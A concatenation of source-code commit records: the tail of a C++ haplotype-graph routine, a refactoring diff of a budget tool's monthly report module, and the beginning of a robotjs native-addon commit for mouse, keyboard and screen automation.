out_thread_frequencies[p.name()] = haplotypes[i].second;
*(out_graph.add_path()) = move(p);
}
}
void output_haplotype_counts(ostream& annotation_ostream,
vector<pair<thread_t,int>>& haplotype_list, xg::XG& index) {
for(int i = 0; i < haplotype_list.size(); i++) {
annotation_ostream << i << "\t" << haplotype_list[i].second << endl;
}
}
Graph output_graph_with_embedded_paths(vector<pair<thread_t,int>>& haplotype_list, xg::XG& index) {
Graph g;
set<int64_t> nodes;
set<pair<int,int> > edges;
for(int i = 0; i < haplotype_list.size(); i++) {
add_thread_nodes_to_set(haplotype_list[i].first, nodes);
add_thread_edges_to_set(haplotype_list[i].first, edges);
}
construct_graph_from_nodes_and_edges(g, index, nodes, edges);
for(int i = 0; i < haplotype_list.size(); i++) {
Path p = path_from_thread_t(haplotype_list[i].first);
p.set_name(to_string(i));
*(g.add_path()) = move(p);
}
return g;
}
void output_graph_with_embedded_paths(ostream& subgraph_ostream,
vector<pair<thread_t,int>>& haplotype_list, xg::XG& index, bool json) {
Graph g = output_graph_with_embedded_paths(haplotype_list, index);
if (json) {
subgraph_ostream << pb2json(g);
} else {
VG subgraph;
subgraph.extend(g);
subgraph.serialize_to_ostream(subgraph_ostream);
}
}
void thread_to_graph_spanned(thread_t& t, Graph& g, xg::XG& index) {
set<int64_t> nodes;
set<pair<int,int> > edges;
nodes.insert(t[0].node_id);
for(int i = 1; i < t.size(); i++) {
nodes.insert(t[i].node_id);
edges.insert(make_pair(xg::make_side(t[i-1].node_id,t[i-1].is_reverse),
xg::make_side(t[i].node_id,t[i].is_reverse)));
}
for (auto& n : nodes) {
*g.add_node() = index.node(n);
}
for (auto& e : edges) {
Edge edge;
edge.set_from(xg::side_id(e.first));
edge.set_from_start(xg::side_is_end(e.first));
edge.set_to(xg::side_id(e.second));
edge.set_to_end(xg::side_is_end(e.second));
*g.add_edge() = edge;
}
}
void add_thread_nodes_to_set(thread_t& t, set<int64_t>& nodes) {
for(int i = 0; i < t.size(); i++) {
nodes.insert(t[i].node_id);
}
}
void add_thread_edges_to_set(thread_t& t, set<pair<int,int> >& edges) {
for(int i = 1; i < t.size(); i++) {
edges.insert(make_pair(xg::make_side(t[i-1].node_id,t[i-1].is_reverse),
xg::make_side(t[i].node_id,t[i].is_reverse)));
}
}
void construct_graph_from_nodes_and_edges(Graph& g, xg::XG& index,
set<int64_t>& nodes, set<pair<int,int> >& edges) {
for (auto& n : nodes) {
*g.add_node() = index.node(n);
}
for (auto& e : edges) {
Edge edge;
edge.set_from(xg::side_id(e.first));
edge.set_from_start(xg::side_is_end(e.first));
edge.set_to(xg::side_id(e.second));
edge.set_to_end(xg::side_is_end(e.second));
*g.add_edge() = edge;
}
}
Path path_from_thread_t(thread_t& t) {
Path toReturn;
int rank = 1;
for(int i = 0; i < t.size(); i++) {
Mapping* mapping = toReturn.add_mapping();
// Set up the position
mapping->mutable_position()->set_node_id(t[i].node_id);
mapping->mutable_position()->set_is_reverse(t[i].is_reverse);
// Set the rank
mapping->set_rank(rank++);
}
// We're done making the path
return toReturn;
}
vector<pair<thread_t,int> > list_haplotypes(xg::XG& index,
xg::XG::ThreadMapping start_node, int extend_distance) {
vector<pair<thread_t,xg::XG::ThreadSearchState> > search_intermediates;
vector<pair<thread_t,int> > search_results;
thread_t first_thread = {start_node};
xg::XG::ThreadSearchState first_state;
index.extend_search(first_state,first_thread);
vector<Edge> edges = start_node.is_reverse ?
index.edges_on_start(start_node.node_id) :
index.edges_on_end(start_node.node_id);
for(int i = 0; i < edges.size(); i++) {
xg::XG::ThreadMapping next_node;
next_node.node_id = edges[i].to();
next_node.is_reverse = edges[i].to_end();
xg::XG::ThreadSearchState new_state = first_state;
thread_t t = {next_node};
index.extend_search(new_state, t);
thread_t new_thread = first_thread;
new_thread.push_back(next_node);
if(!new_state.is_empty()) {
search_intermediates.push_back(make_pair(new_thread,new_state));
}
}
while(search_intermediates.size() > 0) {
pair<thread_t,xg::XG::ThreadSearchState> last = search_intermediates.back();
search_intermediates.pop_back();
int check_size = search_intermediates.size();
vector<Edge> edges = last.first.back().is_reverse ?
index.edges_on_start(last.first.back().node_id) :
index.edges_on_end(last.first.back().node_id);
if(edges.size() == 0) {
search_results.push_back(make_pair(last.first,last.second.count()));
} else {
for(int i = 0; i < edges.size(); i++) {
xg::XG::ThreadMapping next_node;
next_node.node_id = edges[i].to();
next_node.is_reverse = edges[i].to_end();
xg::XG::ThreadSearchState new_state = last.second;
thread_t next_thread = {next_node};
index.extend_search(new_state,next_thread);
thread_t new_thread = last.first;
new_thread.push_back(next_node);
if(!new_state.is_empty()) {
if(new_thread.size() >= extend_distance) {
search_results.push_back(make_pair(new_thread,new_state.count()));
} else {
search_intermediates.push_back(make_pair(new_thread,new_state));
}
}
}
if(check_size == search_intermediates.size() &&
last.first.size() < extend_distance - 1) {
search_results.push_back(make_pair(last.first,last.second.count()));
}
}
}
return search_results;
}
<|endoftext|> |
<commit_before>//=======================================================================
// Copyright (c) 2013-2018 Baptiste Wicht.
// Distributed under the terms of the MIT License.
// (See accompanying file LICENSE or copy at
// http://opensource.org/licenses/MIT)
//=======================================================================
#include <iostream>
#include "report.hpp"
#include "expenses.hpp"
#include "earnings.hpp"
#include "budget_exception.hpp"
#include "accounts.hpp"
#include "console.hpp"
#include "writer.hpp"
#include "date.hpp"
using namespace budget;
namespace {
using graph_type = std::vector<std::vector<std::string>>;
void render(budget::writer& w, graph_type& graph) {
std::reverse(graph.begin(), graph.end());
for (auto& line : graph) {
for (auto& col : line) {
w << col;
}
w << end_of_line;
}
}
void write(graph_type& graph, int row, int col, const std::string& value) {
for (size_t i = 0; i < value.size(); ++i) {
graph[row][col + i] = value[i];
}
}
} //end of anonymous namespace
void budget::report_module::load() {
load_accounts();
load_expenses();
load_earnings();
}
void budget::report_module::handle(const std::vector<std::string>& args) {
auto today = budget::local_day();
budget::console_writer w(std::cout);
if (args.size() == 1) {
report(w, today.year(), false, "");
} else {
auto& subcommand = args[1];
if (subcommand == "monthly") {
report(w, today.year(), false, "");
} else if (subcommand == "account") {
std::string account_name;
edit_string_complete(account_name, "Account", all_account_names(), not_empty_checker(), account_checker());
report(w, today.year(), true, account_name);
} else {
throw budget_exception("Invalid subcommand \"" + subcommand + "\"");
}
}
}
void budget::report(budget::writer& w, budget::year year, bool filter, const std::string& filter_account) {
auto today = budget::local_day();
auto sm = start_month(year);
if (w.is_web()) {
w << title_begin << "Monthly report of " + to_string(year) << title_end;
std::vector<std::string> categories;
std::vector<std::string> series_names;
std::vector<std::vector<float>> series_values;
series_names.push_back("Expenses");
series_names.push_back("Earnings");
series_names.push_back("Balance");
series_values.emplace_back();
series_values.emplace_back();
series_values.emplace_back();
for (auto i = sm; i <= today.month(); ++i) {
budget::month month = i;
//Display month legend
categories.push_back(month.as_short_string());
budget::money m_balance;
budget::money m_expenses;
budget::money m_earnings;
for (auto& account : all_accounts(year, month)) {
if (!filter || account.name == filter_account) {
auto expenses = accumulate_amount_if(all_expenses(),
[year, month, account](const budget::expense& e) { return e.account == account.id && e.date.year() == year && e.date.month() == month; });
auto earnings = accumulate_amount_if(all_earnings(),
[year, month, account](const budget::earning& e) { return e.account == account.id && e.date.year() == year && e.date.month() == month; });
m_expenses += expenses;
m_earnings += earnings;
auto balance = account.amount;
balance -= expenses;
balance += earnings;
m_balance += balance;
}
}
series_values[0].push_back(static_cast<float>(m_expenses));
series_values[1].push_back(static_cast<float>(m_earnings));
series_values[2].push_back(static_cast<float>(m_balance));
}
w.display_graph("Monthly report of " + to_string(year), categories, series_names, series_values);
return;
}
budget::money max_expenses;
budget::money max_earnings;
budget::money max_balance;
budget::money min_expenses;
budget::money min_earnings;
budget::money min_balance;
std::vector<int> expenses(12);
std::vector<int> earnings(12);
std::vector<int> balances(12);
for (auto i = sm; i <= today.month(); ++i) {
budget::month month = i;
budget::money total_expenses;
budget::money total_earnings;
budget::money total_balance;
for (auto& account : all_accounts(year, month)) {
if (!filter || account.name == filter_account) {
auto expenses = accumulate_amount_if(all_expenses(),
[year, month, account](const budget::expense& e) { return e.account == account.id && e.date.year() == year && e.date.month() == month; });
auto earnings = accumulate_amount_if(all_earnings(),
[year, month, account](const budget::earning& e) { return e.account == account.id && e.date.year() == year && e.date.month() == month; });
total_expenses += expenses;
total_earnings += earnings;
auto balance = account.amount;
balance -= expenses;
balance += earnings;
total_balance += balance;
}
}
expenses[month - 1] = total_expenses.dollars();
earnings[month - 1] = total_earnings.dollars();
balances[month - 1] = total_balance.dollars();
max_expenses = std::max(max_expenses, total_expenses);
max_earnings = std::max(max_earnings, total_earnings);
max_balance = std::max(max_balance, total_balance);
min_expenses = std::min(min_expenses, total_expenses);
min_earnings = std::min(min_earnings, total_earnings);
min_balance = std::min(min_balance, total_balance);
}
auto max_number = std::max(std::max(
std::max(std::abs(max_expenses.dollars()), std::abs(max_earnings.dollars())),
std::max(std::abs(max_balance.dollars()), std::abs(min_expenses.dollars()))),
std::max(std::abs(min_balance.dollars()), std::abs(min_earnings.dollars())));
size_t height = terminal_height() - 9;
size_t width = terminal_width() - 6;
size_t scale_width = 5;
// Compute the scale based on the data
size_t scale = 1;
if (max_number < 600) {
scale = 100;
} else if (max_number < 1500) {
scale = 200;
} else if (max_number < 3000) {
scale = 500;
} else if (max_number < 6000) {
scale = 1000;
} else {
scale = 2000;
}
auto graph_width_func = [sm](size_t col_width) {
constexpr size_t left_space = 7;
constexpr size_t legend_width = 20;
return left_space + (13 - sm) * (3 * col_width + 2) + (13 - sm - 1) * 2 + legend_width;
};
// Compute the best column width
size_t col_width = 2;
if (width > graph_width_func(4)) {
col_width = 4;
} else if (width > graph_width_func(3)) {
col_width = 3;
} else if (width > graph_width_func(2)) {
col_width = 2;
}
int min = 0;
if (min_expenses.negative() || min_earnings.negative() || min_balance.negative()) {
min = std::min(min_expenses, std::min(min_earnings, min_balance)).dollars();
min = -1 * ((std::abs(min) / scale) + 1) * scale;
}
unsigned int max = std::max(max_earnings, std::max(max_expenses, max_balance)).dollars();
max = ((max / scale) + 1) * scale;
unsigned int levels = max / scale + std::abs(min) / scale;
unsigned int step_height = height / levels;
unsigned int precision = scale / step_height;
auto graph_height = 9 + step_height * levels;
auto graph_width = graph_width_func(col_width);
graph_type graph(graph_height, std::vector<std::string>(graph_width, " "));
//Display graph title
write(graph, graph_height - 2, 8, "Monthly report of " + to_string(year));
//Display scale
for (size_t i = 0; i <= levels; ++i) {
int level = min + i * scale;
write(graph, 4 + step_height * i, 1, to_string(level));
}
//Display bar
unsigned int min_index = 3;
unsigned int zero_index = min_index + 1 + (std::abs(min) / scale) * step_height;
const auto first_bar = scale_width + 2;
for (auto i = sm; i <= today.month(); ++i) {
budget::month month = i;
auto col_start = first_bar + (3 * col_width + 4) * (i - sm);
//Display month legend
auto month_str = month.as_short_string();
write(graph, 1, col_start + 2, month_str);
for (size_t j = 0; j < expenses[month - 1] / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index + j][col_start + x] = "\033[1;41m \033[0m";
}
}
col_start += col_width + 1;
for (size_t j = 0; j < earnings[month - 1] / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index + j][col_start + x] = "\033[1;42m \033[0m";
}
}
col_start += col_width + 1;
if (balances[month - 1] >= 0) {
for (size_t j = 0; j < balances[month - 1] / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index + j][col_start + x] = "\033[1;44m \033[0m";
}
}
} else {
for (size_t j = 0; j < std::abs(balances[month - 1]) / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index - 1 - j][col_start + x] = "\033[1;44m \033[0m";
}
}
}
}
//Display legend
int start_legend = first_bar + (3 * col_width + 4) * (today.month() - sm + 1) + 4;
graph[4][start_legend - 2] = "|";
graph[3][start_legend - 2] = "|";
graph[2][start_legend - 2] = "|";
graph[4][start_legend] = "\033[1;41m \033[0m";
graph[3][start_legend] = "\033[1;42m \033[0m";
graph[2][start_legend] = "\033[1;44m \033[0m";
write(graph, 6, start_legend - 2, " ____________ ");
write(graph, 5, start_legend - 2, "| |");
write(graph, 4, start_legend + 2, "Expenses |");
write(graph, 3, start_legend + 2, "Earnings |");
write(graph, 2, start_legend + 2, "Balance |");
write(graph, 1, start_legend - 2, "|____________|");
//Render the graph
render(w, graph);
}
<commit_msg>Refactorings<commit_after>//=======================================================================
// Copyright (c) 2013-2018 Baptiste Wicht.
// Distributed under the terms of the MIT License.
// (See accompanying file LICENSE or copy at
// http://opensource.org/licenses/MIT)
//=======================================================================
#include <iostream>
#include "report.hpp"
#include "expenses.hpp"
#include "earnings.hpp"
#include "budget_exception.hpp"
#include "accounts.hpp"
#include "console.hpp"
#include "writer.hpp"
#include "date.hpp"
using namespace budget;
namespace {
using graph_type = std::vector<std::vector<std::string>>;
void render(budget::writer& w, graph_type& graph) {
std::reverse(graph.begin(), graph.end());
for (auto& line : graph) {
for (auto& col : line) {
w << col;
}
w << end_of_line;
}
}
void write(graph_type& graph, int row, int col, const std::string& value) {
for (size_t i = 0; i < value.size(); ++i) {
graph[row][col + i] = value[i];
}
}
} //end of anonymous namespace
void budget::report_module::load() {
load_accounts();
load_expenses();
load_earnings();
}
void budget::report_module::handle(const std::vector<std::string>& args) {
auto today = budget::local_day();
budget::console_writer w(std::cout);
if (args.size() == 1) {
report(w, today.year(), false, "");
} else {
auto& subcommand = args[1];
if (subcommand == "monthly") {
report(w, today.year(), false, "");
} else if (subcommand == "account") {
std::string account_name;
edit_string_complete(account_name, "Account", all_account_names(), not_empty_checker(), account_checker());
report(w, today.year(), true, account_name);
} else {
throw budget_exception("Invalid subcommand \"" + subcommand + "\"");
}
}
}
void budget::report(budget::writer& w, budget::year year, bool filter, const std::string& filter_account) {
auto today = budget::local_day();
auto sm = start_month(year);
if (w.is_web()) {
w << title_begin << "Monthly report of " + to_string(year) << title_end;
std::vector<std::string> categories;
std::vector<std::string> series_names;
std::vector<std::vector<float>> series_values;
series_names.push_back("Expenses");
series_names.push_back("Earnings");
series_names.push_back("Balance");
series_values.emplace_back();
series_values.emplace_back();
series_values.emplace_back();
for (auto i = sm; i <= today.month(); ++i) {
budget::month month = i;
//Display month legend
categories.push_back(month.as_short_string());
budget::money m_balance;
budget::money m_expenses;
budget::money m_earnings;
for (auto& account : all_accounts(year, month)) {
if (!filter || account.name == filter_account) {
auto expenses = accumulate_amount(all_expenses_month(account.id, year, month));
auto earnings = accumulate_amount(all_earnings_month(account.id, year, month));
m_expenses += expenses;
m_earnings += earnings;
m_balance += account.amount - expenses + earnings;
}
}
series_values[0].push_back(static_cast<float>(m_expenses));
series_values[1].push_back(static_cast<float>(m_earnings));
series_values[2].push_back(static_cast<float>(m_balance));
}
w.display_graph("Monthly report of " + to_string(year), categories, series_names, series_values);
return;
}
budget::money max_expenses;
budget::money max_earnings;
budget::money max_balance;
budget::money min_expenses;
budget::money min_earnings;
budget::money min_balance;
std::vector<int> expenses(12);
std::vector<int> earnings(12);
std::vector<int> balances(12);
for (auto i = sm; i <= today.month(); ++i) {
budget::month month = i;
budget::money total_expenses;
budget::money total_earnings;
budget::money total_balance;
for (auto& account : all_accounts(year, month)) {
if (!filter || account.name == filter_account) {
auto expenses = accumulate_amount_if(all_expenses(),
[year, month, account](const budget::expense& e) { return e.account == account.id && e.date.year() == year && e.date.month() == month; });
auto earnings = accumulate_amount_if(all_earnings(),
[year, month, account](const budget::earning& e) { return e.account == account.id && e.date.year() == year && e.date.month() == month; });
total_expenses += expenses;
total_earnings += earnings;
auto balance = account.amount;
balance -= expenses;
balance += earnings;
total_balance += balance;
}
}
expenses[month - 1] = total_expenses.dollars();
earnings[month - 1] = total_earnings.dollars();
balances[month - 1] = total_balance.dollars();
max_expenses = std::max(max_expenses, total_expenses);
max_earnings = std::max(max_earnings, total_earnings);
max_balance = std::max(max_balance, total_balance);
min_expenses = std::min(min_expenses, total_expenses);
min_earnings = std::min(min_earnings, total_earnings);
min_balance = std::min(min_balance, total_balance);
}
auto max_number = std::max(std::max(
std::max(std::abs(max_expenses.dollars()), std::abs(max_earnings.dollars())),
std::max(std::abs(max_balance.dollars()), std::abs(min_expenses.dollars()))),
std::max(std::abs(min_balance.dollars()), std::abs(min_earnings.dollars())));
size_t height = terminal_height() - 9;
size_t width = terminal_width() - 6;
size_t scale_width = 5;
// Compute the scale based on the data
size_t scale = 1;
if (max_number < 600) {
scale = 100;
} else if (max_number < 1500) {
scale = 200;
} else if (max_number < 3000) {
scale = 500;
} else if (max_number < 6000) {
scale = 1000;
} else {
scale = 2000;
}
auto graph_width_func = [sm](size_t col_width) {
constexpr size_t left_space = 7;
constexpr size_t legend_width = 20;
return left_space + (13 - sm) * (3 * col_width + 2) + (13 - sm - 1) * 2 + legend_width;
};
// Compute the best column width
size_t col_width = 2;
if (width > graph_width_func(4)) {
col_width = 4;
} else if (width > graph_width_func(3)) {
col_width = 3;
} else if (width > graph_width_func(2)) {
col_width = 2;
}
int min = 0;
if (min_expenses.negative() || min_earnings.negative() || min_balance.negative()) {
min = std::min(min_expenses, std::min(min_earnings, min_balance)).dollars();
min = -1 * ((std::abs(min) / scale) + 1) * scale;
}
unsigned int max = std::max(max_earnings, std::max(max_expenses, max_balance)).dollars();
max = ((max / scale) + 1) * scale;
unsigned int levels = max / scale + std::abs(min) / scale;
unsigned int step_height = height / levels;
unsigned int precision = scale / step_height;
auto graph_height = 9 + step_height * levels;
auto graph_width = graph_width_func(col_width);
graph_type graph(graph_height, std::vector<std::string>(graph_width, " "));
//Display graph title
write(graph, graph_height - 2, 8, "Monthly report of " + to_string(year));
//Display scale
for (size_t i = 0; i <= levels; ++i) {
int level = min + i * scale;
write(graph, 4 + step_height * i, 1, to_string(level));
}
//Display bar
unsigned int min_index = 3;
unsigned int zero_index = min_index + 1 + (std::abs(min) / scale) * step_height;
const auto first_bar = scale_width + 2;
for (auto i = sm; i <= today.month(); ++i) {
budget::month month = i;
auto col_start = first_bar + (3 * col_width + 4) * (i - sm);
//Display month legend
auto month_str = month.as_short_string();
write(graph, 1, col_start + 2, month_str);
for (size_t j = 0; j < expenses[month - 1] / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index + j][col_start + x] = "\033[1;41m \033[0m";
}
}
col_start += col_width + 1;
for (size_t j = 0; j < earnings[month - 1] / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index + j][col_start + x] = "\033[1;42m \033[0m";
}
}
col_start += col_width + 1;
if (balances[month - 1] >= 0) {
for (size_t j = 0; j < balances[month - 1] / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index + j][col_start + x] = "\033[1;44m \033[0m";
}
}
} else {
for (size_t j = 0; j < std::abs(balances[month - 1]) / precision; ++j) {
for (size_t x = 0; x < col_width; ++x) {
graph[zero_index - 1 - j][col_start + x] = "\033[1;44m \033[0m";
}
}
}
}
//Display legend
int start_legend = first_bar + (3 * col_width + 4) * (today.month() - sm + 1) + 4;
graph[4][start_legend - 2] = "|";
graph[3][start_legend - 2] = "|";
graph[2][start_legend - 2] = "|";
graph[4][start_legend] = "\033[1;41m \033[0m";
graph[3][start_legend] = "\033[1;42m \033[0m";
graph[2][start_legend] = "\033[1;44m \033[0m";
write(graph, 6, start_legend - 2, " ____________ ");
write(graph, 5, start_legend - 2, "| |");
write(graph, 4, start_legend + 2, "Expenses |");
write(graph, 3, start_legend + 2, "Earnings |");
write(graph, 2, start_legend + 2, "Balance |");
write(graph, 1, start_legend - 2, "|____________|");
//Render the graph
render(w, graph);
}
<|endoftext|> |
<commit_before>#include <node.h>
#include <nan.h>
#include <v8.h>
#include <vector>
#include "mouse.h"
#include "deadbeef_rand.h"
#include "keypress.h"
#include "screen.h"
#include "screengrab.h"
#include "MMBitmap.h"
#include "snprintf.h"
using namespace v8;
/*
__ __
| \/ | ___ _ _ ___ ___
| |\/| |/ _ \| | | / __|/ _ \
| | | | (_) | |_| \__ \ __/
|_| |_|\___/ \__,_|___/\___|
*/
NAN_METHOD(moveMouse)
{
NanScope();
if (args.Length() < 2)
{
return NanThrowError("Invalid number of arguments.");
}
size_t x = args[0]->Int32Value();
size_t y = args[1]->Int32Value();
MMPoint point;
point = MMPointMake(x, y);
moveMouse(point);
NanReturnValue(NanNew("1"));
}
NAN_METHOD(moveMouseSmooth)
{
NanScope();
if (args.Length() < 2)
{
return NanThrowError("Invalid number of arguments.");
}
size_t x = args[0]->Int32Value();
size_t y = args[1]->Int32Value();
MMPoint point;
point = MMPointMake(x, y);
smoothlyMoveMouse(point);
NanReturnValue(NanNew("1"));
}
NAN_METHOD(getMousePos)
{
NanScope();
MMPoint pos = getMousePos();
//Return object with .x and .y.
Local<Object> obj = NanNew<Object>();
obj->Set(NanNew<String>("x"), NanNew<Number>(pos.x));
obj->Set(NanNew<String>("y"), NanNew<Number>(pos.y));
NanReturnValue(obj);
}
NAN_METHOD(mouseClick)
{
NanScope();
MMMouseButton button = LEFT_BUTTON;
if (args.Length() == 1)
{
char *b = (*v8::String::Utf8Value(args[0]->ToString()));
if (strcmp(b, "left") == 0)
{
button = LEFT_BUTTON;
}
else if (strcmp(b, "right") == 0)
{
button = RIGHT_BUTTON;
}
else if (strcmp(b, "middle") == 0)
{
button = CENTER_BUTTON;
}
else
{
return NanThrowError("Invalid mouse button specified.");
}
}
else if (args.Length() > 1)
{
return NanThrowError("Invalid number of arguments.");
}
clickMouse(button);
NanReturnValue(NanNew("1"));
}
NAN_METHOD(mouseToggle)
{
NanScope();
MMMouseButton button = LEFT_BUTTON;
bool down;
if (args.Length() > 0)
{
const char *d = (*v8::String::Utf8Value(args[0]->ToString()));
if (strcmp(d, "down") == 0)
{
down = true;;
}
else if (strcmp(d, "up") == 0)
{
down = false;
}
else
{
return NanThrowError("Invalid mouse button state specified.");
}
}
if (args.Length() == 2)
{
char *b = (*v8::String::Utf8Value(args[1]->ToString()));
if (strcmp(b, "left") == 0)
{
button = LEFT_BUTTON;
}
else if (strcmp(b, "right") == 0)
{
button = RIGHT_BUTTON;
}
else if (strcmp(b, "middle") == 0)
{
button = CENTER_BUTTON;
}
else
{
return NanThrowError("Invalid mouse button specified.");
}
}
else if (args.Length() > 2)
{
return NanThrowError("Invalid number of arguments.");
}
toggleMouse(down, button);
NanReturnValue(NanNew("1"));
}
/*
_ __ _ _
| |/ /___ _ _| |__ ___ __ _ _ __ __| |
| ' // _ \ | | | '_ \ / _ \ / _` | '__/ _` |
| . \ __/ |_| | |_) | (_) | (_| | | | (_| |
|_|\_\___|\__, |_.__/ \___/ \__,_|_| \__,_|
|___/
*/
int CheckKeyCodes(char* k, MMKeyCode *key)
{
if (!key) return -1;
if (strcmp(k, "alt") == 0)
{
*key = K_ALT;
}
else if (strcmp(k, "command") == 0)
{
*key = K_META;
}
else if (strcmp(k, "control") == 0)
{
*key = K_CONTROL;
}
else if (strcmp(k, "shift") == 0)
{
*key = K_SHIFT;
}
else if (strcmp(k, "backspace") == 0)
{
*key = K_BACKSPACE;
}
else if (strcmp(k, "enter") == 0)
{
*key = K_RETURN;
}
else if (strcmp(k, "tab") == 0)
{
*key = K_TAB;
}
else if (strcmp(k, "up") == 0)
{
*key = K_UP;
}
else if (strcmp(k, "down") == 0)
{
*key = K_DOWN;
}
else if (strcmp(k, "left") == 0)
{
*key = K_LEFT;
}
else if (strcmp(k, "right") == 0)
{
*key = K_RIGHT;
}
else if (strcmp(k, "escape") == 0)
{
*key = K_ESCAPE;
}
else if (strcmp(k, "delete") == 0)
{
*key = K_DELETE;
}
else if (strcmp(k, "home") == 0)
{
*key = K_HOME;
}
else if (strcmp(k, "end") == 0)
{
*key = K_END;
}
else if (strcmp(k, "pageup") == 0)
{
*key = K_PAGEUP;
}
else if (strcmp(k, "pagedown") == 0)
{
*key = K_PAGEDOWN;
}
else if (strcmp(k, "space") == 0)
{
*key = K_SPACE;
}
else if (strlen(k) == 1)
{
*key = keyCodeForChar(*k);
}
else
{
return -2;
}
return 0;
}
int CheckKeyFlags(char* f, MMKeyFlags* flags)
{
if (!flags) return -1;
if (strcmp(f, "alt") == 0)
{
*flags = MOD_ALT;
}
else if(strcmp(f, "command") == 0)
{
*flags = MOD_META;
}
else if(strcmp(f, "control") == 0)
{
*flags = MOD_CONTROL;
}
else if(strcmp(f, "shift") == 0)
{
*flags = MOD_SHIFT;
}
else if(strcmp(f, "none") == 0)
{
*flags = MOD_NONE;
}
else
{
return -2;
}
return 0;
}
int mssleep(unsigned long millisecond)
{
struct timespec req;
time_t sec=(int)(millisecond/1000);
millisecond=millisecond-(sec*1000);
req.tv_sec=sec;
req.tv_nsec=millisecond*1000000L;
while(nanosleep(&req,&req)==-1)
continue;
return 1;
}
NAN_METHOD(keyTap)
{
NanScope();
MMKeyFlags flags = MOD_NONE;
MMKeyCode key;
char *k;
char *f;
v8::String::Utf8Value fstr(args[1]->ToString());
v8::String::Utf8Value kstr(args[0]->ToString());
k = *kstr;
f = *fstr;
switch (args.Length())
{
case 2:
break;
case 1:
f = NULL;
break;
default:
return NanThrowError("Invalid number of arguments.");
}
if (f)
{
switch(CheckKeyFlags(f, &flags))
{
case -1:
return NanThrowError("Null pointer in key flag.");
break;
case -2:
return NanThrowError("Invalid key flag specified.");
break;
}
}
switch(CheckKeyCodes(k, &key))
{
case -1:
return NanThrowError("Null pointer in key code.");
break;
case -2:
return NanThrowError("Invalid key code specified.");
break;
default:
tapKeyCode(key, flags);
mssleep(10);
}
NanReturnValue(NanNew("1"));
}
NAN_METHOD(keyToggle)
{
NanScope();
MMKeyFlags flags = MOD_NONE;
MMKeyCode key;
char *k;
bool down;
char *f;
v8::String::Utf8Value kstr(args[0]->ToString());
v8::String::Utf8Value fstr(args[2]->ToString());
down = args[1]->BooleanValue();
k = *kstr;
f = *fstr;
switch (args.Length())
{
case 3:
break;
case 2:
f = NULL;
break;
default:
return NanThrowError("Invalid number of arguments.");
}
if (f)
{
switch(CheckKeyFlags(f, &flags))
{
case -1:
return NanThrowError("Null pointer in key flag.");
break;
case -2:
return NanThrowError("Invalid key flag specified.");
break;
}
}
switch(CheckKeyCodes(k, &key))
{
case -1:
return NanThrowError("Null pointer in key code.");
break;
case -2:
return NanThrowError("Invalid key code specified.");
break;
default:
toggleKeyCode(key, down, flags);
mssleep(10);
}
NanReturnValue(NanNew("1"));
}
NAN_METHOD(typeString)
{
NanScope();
char *str;
NanUtf8String string(args[0]);
str = *string;
typeString(str);
NanReturnValue(NanNew("1"));
}
/*
____
/ ___| ___ _ __ ___ ___ _ __
\___ \ / __| '__/ _ \/ _ \ '_ \
___) | (__| | | __/ __/ | | |
|____/ \___|_| \___|\___|_| |_|
*/
NAN_METHOD(getPixelColor)
{
NanScope();
MMBitmapRef bitmap;
MMRGBHex color;
size_t x = args[0]->Int32Value();
size_t y = args[1]->Int32Value();
bitmap = copyMMBitmapFromDisplayInRect(MMRectMake(x, y, 1, 1));
color = MMRGBHexAtPoint(bitmap, 0, 0);
char hex [7];
//Length needs to be 7 because snprintf includes a terminating null.
//Use %06x to pad hex value with leading 0s.
snprintf(hex, 7, "%06x", color);
destroyMMBitmap(bitmap);
NanReturnValue(NanNew(hex));
}
NAN_METHOD(getScreenSize)
{
NanScope();
//Get display size.
MMSize displaySize = getMainDisplaySize();
//Create our return object.
Local<Object> obj = NanNew<Object>();
obj->Set(NanNew<String>("width"), NanNew<Number>(displaySize.width));
obj->Set(NanNew<String>("height"), NanNew<Number>(displaySize.height));
//Return our object with .width and .height.
NanReturnValue(obj);
}
void init(Handle<Object> target)
{
target->Set(NanNew<String>("moveMouse"),
NanNew<FunctionTemplate>(moveMouse)->GetFunction());
target->Set(NanNew<String>("moveMouseSmooth"),
NanNew<FunctionTemplate>(moveMouseSmooth)->GetFunction());
target->Set(NanNew<String>("getMousePos"),
NanNew<FunctionTemplate>(getMousePos)->GetFunction());
target->Set(NanNew<String>("mouseClick"),
NanNew<FunctionTemplate>(mouseClick)->GetFunction());
target->Set(NanNew<String>("mouseToggle"),
NanNew<FunctionTemplate>(mouseToggle)->GetFunction());
target->Set(NanNew<String>("keyTap"),
NanNew<FunctionTemplate>(keyTap)->GetFunction());
target->Set(NanNew<String>("keyToggle"),
NanNew<FunctionTemplate>(keyToggle)->GetFunction());
target->Set(NanNew<String>("typeString"),
NanNew<FunctionTemplate>(typeString)->GetFunction());
target->Set(NanNew<String>("getPixelColor"),
NanNew<FunctionTemplate>(getPixelColor)->GetFunction());
target->Set(NanNew<String>("getScreenSize"),
NanNew<FunctionTemplate>(getScreenSize)->GetFunction());
}
NODE_MODULE(robotjs, init)
<commit_msg>Use cross platform microsleep instead of mssleep.<commit_after>#include <node.h>
#include <nan.h>
#include <v8.h>
#include <vector>
#include "mouse.h"
#include "deadbeef_rand.h"
#include "keypress.h"
#include "screen.h"
#include "screengrab.h"
#include "MMBitmap.h"
#include "snprintf.h"
#include "microsleep.h"
using namespace v8;
/*
__ __
| \/ | ___ _ _ ___ ___
| |\/| |/ _ \| | | / __|/ _ \
| | | | (_) | |_| \__ \ __/
|_| |_|\___/ \__,_|___/\___|
*/
NAN_METHOD(moveMouse)
{
NanScope();
if (args.Length() < 2)
{
return NanThrowError("Invalid number of arguments.");
}
size_t x = args[0]->Int32Value();
size_t y = args[1]->Int32Value();
MMPoint point;
point = MMPointMake(x, y);
moveMouse(point);
NanReturnValue(NanNew("1"));
}
NAN_METHOD(moveMouseSmooth)
{
NanScope();
if (args.Length() < 2)
{
return NanThrowError("Invalid number of arguments.");
}
size_t x = args[0]->Int32Value();
size_t y = args[1]->Int32Value();
MMPoint point;
point = MMPointMake(x, y);
smoothlyMoveMouse(point);
NanReturnValue(NanNew("1"));
}
NAN_METHOD(getMousePos)
